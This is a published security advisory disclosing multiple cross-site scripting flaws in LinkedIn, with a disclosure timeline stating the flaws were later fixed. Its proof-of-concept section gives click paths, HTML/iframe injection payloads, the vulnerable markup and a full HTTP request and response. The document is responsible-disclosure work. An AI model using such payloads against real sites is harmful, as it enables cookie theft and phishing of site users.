=============================================
INTERNET SECURITY AUDITORS ALERT 2012-003
- Original release date: 16th December 2012
- Last revised:  26th September 2013
- Discovered by: Eduardo Garcia Melia
- Severity: 6.8/10 (CVSS Base Scored)
=============================================
 
I. VULNERABILITY
-------------------------
LinkedIn social network is affected by Multiple Reflected Cross-Site
Scripting vulnerabilities. 
 
II. BACKGROUND
-------------------------
LinkedIn is a social networking service and
website(http://www.linkedin.com/) operates the world's largest
professional network on the Internet with more

than 187 million members in over 200 countries and territories.
 
More Information: http://press.linkedin.com/about
 
III. DESCRIPTION
-------------------------
LinkedIn social network is affected by Multiple reflected Cross-Site
Scripting vulnerabilities. An attacker can inject HTML or script code in
the context of

victim's browser, so can perform XSS attacks, and steal cookies of a
targeted user. The affected resource is
http://www.linkedin.com/home?trk=guest_home.
 
IV. PROOF OF CONCEPT
-------------------------
=============================
First XSS  -> Corrected
=============================
You can go to LinkedIn Home -> Shared an Update -> Attach Link. After
attack link, you should edit this link, and put in the Title and
Description field, the

XSS injection, for example:

    + <h1>XSS TEST</h1>
    + <iframe src="javascript:alert(document.cookie);"></iframe>

Finally, you should pulse "Preview" button, and then show you the injection.

The vulnerability is in this code:

<div class="share-content" id="share-content" data-entity-id="932308905"
data-entity-url="http://www.URL.com" data-has-photo="yes">
<h4 class="share-view-title" id="share-view-title">XSSINJECTION</h4>
<p id="share-view-meta" class="meta">
URLTITLE
</p>
<p class="share-summary">
<span class="share-view-summary" id="share-view-summary">XSSINJECTION</span>
<a href="#" id="share-edit-link">Edit</a>
<script id="control-a9f0c4dd-2797-4750-9243-add575e00c08-2"
type="linkedin/control" class="li-control">
           
        /* extlib: _toggleclass */
       
   
           
LI.Controls.addControl('control-a9f0c4dd-2797-4750-9243-add575e00c08-2',
'ToggleClass', {
                  classname: 'is-view-mode',
                  on: '#share-preview',
                  stopEvent: true
                });
          </script>
</p>
</div>

=============================
Second XSS 
=============================
You can go to LinkedIn Groups -> Groups you may like,  and find some
open group, for example "Test Analyst / Test Lead / Test Manager
Networking". After, you

can start Discussion, and put on the fields "Test" and "test" value and
pulse "share" button. When the discussion is shared, show you "Your post
has been

submitted for review. You can view it here.", if you go to "here" link,
you can edit your post and put, for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Example REQUEST:
    POST /groupItem HTTP/1.1
    Host: www.linkedin.com
    Origin: http://www.linkedin.com
    X-Requested-With: XMLHttpRequest
    Referer:
http://www.linkedin.com/groups?displayMySubmitted=&gid=4041084&goback=%2Egmp_4041084
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: XXX

   
editPendingItem=&csrfToken=ajax:8141336854842107468&item=PMOD_43011393&gid=4041084&ajax=true&goback=.gmp_4041084&content=<IFRAME
SRC=#

onmouseover="alert('XSS')">&detail=test&

RESPONSE:
    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Vary: Accept-Encoding
    Date: Mon, 04 Mar 2013 14:51:03 GMT
    X-FS-TXN-ID: 2adf39a79210
    X-FS-UUID: c84a30f8753fe812d0841ff4322b0000
    X-LI-UUID: yEow+HU/6BLQhB/0MisAAA==
    Age: 0
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 0
    Set-Cookie: XXX

    {"abbreviatedContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\">
...","editTimeLeftAsStr":"13 minutes

left","statusCode":"0","updated":"true","editTimeLeftInSec":"791","item":"PMOD_43011393","origDetail":"test","isDetailAbbreviated":"false","origContent":"<IF

RAME SRC=#
onmouseover=\"alert('XSS')\">","isContentAbbreviated":"true","fullContent":"<IFRAME
SRC=# onmouseover=\"alert

('XSS')\">","abbreviatedDetail":"test"}

and then show you the injection.

=============================
Third XSS 
=============================
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can start Discussion, and put on the fields, for example,
this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.

===============
Fourth XSS
===============   
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can create a Poll, and put on the fields, for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.
 
V. BUSINESS IMPACT
------------------------
This flaw can be used by a malicious user to send phishing to the linked
in customers, abusing of the users trust on LinkedIn portal, tricking
the user. This

user can be forward to a LinkedIn clone site to stolen credentials, to
some malicious site hosting malware and more. 
 
VI. SYSTEMS AFFECTED
-------------------------
The vulnerability affects the LinkedIn network:
http://www.linkedin.com
https://touch.www.linkedin.com
 
VII. SOLUTION
-------------------------
Partially pending.
 
VIII. REFERENCES
-------------------------
http://www.linkedin.com
http://www.isecauditors.com
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
 
IX. CREDITS
-------------------------
These vulnerabilities have been discovered by
Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).
 
X. REVISION HISTORY
-------------------------
December  17, 2012: Initial release.
January   20, 2013: Second revision.
March     10, 2013: Third revision.
September 26, 2013: Final release.
 
XI. DISCLOSURE TIMELINE
-------------------------
December  17, 2012: Vulnerability acquired by Eduardo Garcia Melia
                    Internet Security Auditors (www.isecauditors.com).
January   20, 2013: Second revision.
                    Sent to LinkedIn Security Team.
February   7, 2013: Response from Sec Team. Ask for resend.
February  19, 2013: Send updated.
February  26, 2013: Answer about it seems to be corrected. Possitively
checked.
March     10, 2013: Send updated with more XSS vulnerable resources.
July      11, 2013: All XSS issues have been resolved.
September 26, 2013: Sent to lists.
 
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. Internet
Security

Auditors accepts no responsibility for any damage caused by the use or
misuse of this information.

XIII. ABOUT
-------------------------
Internet Security Auditors is a Spain based leader in web application
testing, network security, penetration testing, security compliance
implementation and

assessing. Our clients include some of the largest companies in areas
such as finance, telecommunications, insurance, ITC, etc. We are vendor
independent

provider with a deep expertise since 2001. Our efforts in R&D include
vulnerability research, open security project collaboration and
whitepapers,

presentations and security events participation and promotion. For
further information regarding our security services, contact us.

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-------------------------
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